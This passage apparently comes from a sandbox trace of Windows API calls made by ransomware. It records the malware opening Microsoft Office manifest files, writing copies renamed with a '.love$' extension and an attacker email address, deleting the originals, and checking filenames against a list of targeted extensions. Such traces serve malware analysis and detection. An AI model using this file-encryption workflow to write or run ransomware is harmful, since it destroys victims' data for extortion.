lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.877] SetEndOfFile (hFile=0x340) returned 1 [0112.878] CloseHandle (hObject=0x340) returned 1 [0112.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0112.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.879] lstrlenW (lpString=".doc") returned 4 [0112.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.879] lstrlenW (lpString=".docx") returned 5 [0112.879] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.879] lstrlenW (lpString=".pdf") returned 4 [0112.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.879] lstrlenW (lpString=".xls") returned 4 [0112.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.879] lstrlenW (lpString=".xlsx") returned 5 [0112.880] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.880] lstrlenW (lpString=".ppt") returned 4 [0112.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.880] lstrlenW (lpString=".zip") returned 4 [0112.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.880] lstrlenW (lpString=".rar") returned 4 [0112.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString=".bz2") returned 4 [0112.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString=".7z") returned 3 [0112.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.880] lstrlenW (lpString=".dbf") returned 4 [0112.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.880] lstrlenW (lpString=".1cd") returned 4 [0112.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.880] lstrlenW (lpString=".jpg") returned 4 [0112.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.881] lstrlenW (lpString=".doc") returned 4 [0112.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString=".docx") returned 5 [0112.881] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.881] lstrlenW (lpString=".pdf") returned 4 [0112.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString=".xls") returned 4 [0112.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString=".xlsx") returned 5 [0112.881] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.881] lstrlenW (lpString=".ppt") returned 4 [0112.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.881] lstrlenW (lpString=".zip") returned 4 [0112.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.881] lstrlenW (lpString=".rar") returned 4 [0112.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString=".bz2") returned 4 [0112.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString=".7z") returned 3 [0112.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.881] lstrlenW (lpString=".dbf") returned 4 [0112.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.881] lstrlenW (lpString=".1cd") returned 4 [0112.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0112.882] lstrlenW (lpString=".jpg") returned 4 [0112.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.882] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.882] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0112.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.883] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=357349) returned 1 [0112.883] CloseHandle (hObject=0x340) returned 1 [0112.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0112.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.884] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.884] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0112.884] GetLastError () returned 0x0 [0112.884] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x573e5, lpOverlapped=0x0) returned 1 [0113.558] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x573f0, lpOverlapped=0x0) returned 1 [0113.567] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0113.567] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0113.567] SetEndOfFile (hFile=0x34c) returned 1 [0113.567] CloseHandle (hObject=0x34c) returned 1 [0114.324] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.324] SetEndOfFile (hFile=0x340) returned 1 [0114.329] CloseHandle (hObject=0x340) returned 1 [0114.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0114.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0114.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.331] lstrlenW (lpString=".doc") returned 4 [0114.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString=".docx") returned 5 [0114.331] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.331] lstrlenW (lpString=".pdf") returned 4 [0114.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString=".xls") returned 4 [0114.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString=".xlsx") returned 5 [0114.331] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.331] lstrlenW (lpString=".ppt") returned 4 [0114.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.331] lstrlenW (lpString=".zip") returned 4 [0114.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.331] lstrlenW (lpString=".rar") returned 4 [0114.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString=".bz2") returned 4 [0114.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.331] lstrlenW (lpString=".7z") returned 3 [0114.331] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.331] lstrlenW (lpString=".dbf") returned 4 [0114.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.332] lstrlenW (lpString=".1cd") returned 4 [0114.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.332] lstrlenW (lpString=".jpg") returned 4 [0114.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.332] lstrlenW (lpString=".doc") returned 4 [0114.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString=".docx") returned 5 [0114.332] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.332] lstrlenW (lpString=".pdf") returned 4 [0114.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString=".xls") returned 4 [0114.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString=".xlsx") returned 5 [0114.332] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.332] lstrlenW (lpString=".ppt") returned 4 [0114.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.332] lstrlenW (lpString=".zip") returned 4 [0114.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.332] lstrlenW (lpString=".rar") returned 4 [0114.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.332] lstrlenW (lpString=".bz2") returned 4 [0114.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.333] lstrlenW (lpString=".7z") returned 3 [0114.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.333] lstrlenW (lpString=".dbf") returned 4 [0114.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.333] lstrlenW (lpString=".1cd") returned 4 [0114.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0114.333] lstrlenW (lpString=".jpg") returned 4 [0114.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.333] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0114.333] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0114.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.334] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1261) returned 1 [0114.334] CloseHandle (hObject=0x340) returned 1 [0114.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0114.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.335] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.335] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0114.335] GetLastError () returned 0x0 [0114.335] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0114.338] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0114.339] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0114.339] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0114.339] SetEndOfFile (hFile=0x34c) returned 1 [0114.340] CloseHandle (hObject=0x34c) returned 1 [0114.344] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.344] SetEndOfFile (hFile=0x340) returned 1 [0114.346] CloseHandle (hObject=0x340) returned 1 [0114.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0114.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0114.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.347] lstrlenW (lpString=".doc") returned 4 [0114.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.347] lstrlenW (lpString=".docx") returned 5 [0114.347] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.347] lstrlenW (lpString=".pdf") returned 4 [0114.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.347] lstrlenW (lpString=".xls") returned 4 [0114.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.347] lstrlenW (lpString=".xlsx") returned 5 [0114.347] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.347] lstrlenW (lpString=".ppt") returned 4 [0114.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.347] lstrlenW (lpString=".zip") returned 4 [0114.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.347] lstrlenW (lpString=".rar") returned 4 [0114.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.348] lstrlenW (lpString=".bz2") returned 4 [0114.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.348] lstrlenW (lpString=".7z") returned 3 [0114.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.348] lstrlenW (lpString=".dbf") returned 4 [0114.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.348] lstrlenW (lpString=".1cd") returned 4 [0114.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.348] lstrlenW (lpString=".jpg") returned 4 [0114.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.348] lstrlenW (lpString=".doc") returned 4 [0114.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString=".docx") returned 5 [0114.349] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.349] lstrlenW (lpString=".pdf") returned 4 [0114.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString=".xls") returned 4 [0114.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString=".xlsx") returned 5 [0114.349] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.349] lstrlenW (lpString=".ppt") returned 4 [0114.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.349] lstrlenW (lpString=".zip") returned 4 [0114.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.349] lstrlenW (lpString=".rar") returned 4 [0114.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString=".bz2") returned 4 [0114.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.349] lstrlenW (lpString=".7z") returned 3 [0114.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.350] lstrlenW (lpString=".dbf") returned 4 [0114.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.350] lstrlenW (lpString=".1cd") returned 4 [0114.350] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0114.350] lstrlenW (lpString=".jpg") returned 4 [0114.350] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.350] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0114.350] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0114.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.389] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1261) returned 1 [0115.389] CloseHandle (hObject=0x354) returned 1 [0115.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.410] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.410] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0115.411] GetLastError () returned 0x0 [0115.411] ReadFile (in: hFile=0x354, 